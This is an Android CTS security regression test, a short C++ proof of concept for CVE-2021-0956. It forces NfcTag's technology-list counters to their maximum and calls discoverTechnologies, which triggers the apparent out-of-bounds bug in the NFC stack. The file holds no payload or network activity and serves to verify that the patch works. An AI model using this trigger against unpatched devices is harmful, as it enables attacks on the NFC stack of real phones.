unplugged-system/cts/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp

47 lines
1.4 KiB
C++

/**
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define private public
#include "NfcTag.h"
bool isTestInProgress = false;
struct sigaction new_action, old_action;
void sigabrt_handler(int signum, siginfo_t* info, void* context) {
if (isTestInProgress && info->si_signo == SIGABRT) {
(*old_action.sa_sigaction)(signum, info, context);
return;
}
exit(EXIT_FAILURE);
}
int main() {
sigemptyset(&new_action.sa_mask);
new_action.sa_flags = SA_SIGINFO;
new_action.sa_sigaction = sigabrt_handler;
sigaction(SIGABRT, &new_action, &old_action);
NfcTag tag = {};
tag.mTechListTail = NfcTag::MAX_NUM_TECHNOLOGY;
tag.mNumTechList = NfcTag::MAX_NUM_TECHNOLOGY;
tNFA_ACTIVATED activationData = {};
isTestInProgress = true;
tag.discoverTechnologies(activationData);
isTestInProgress = false;
return EXIT_SUCCESS;
}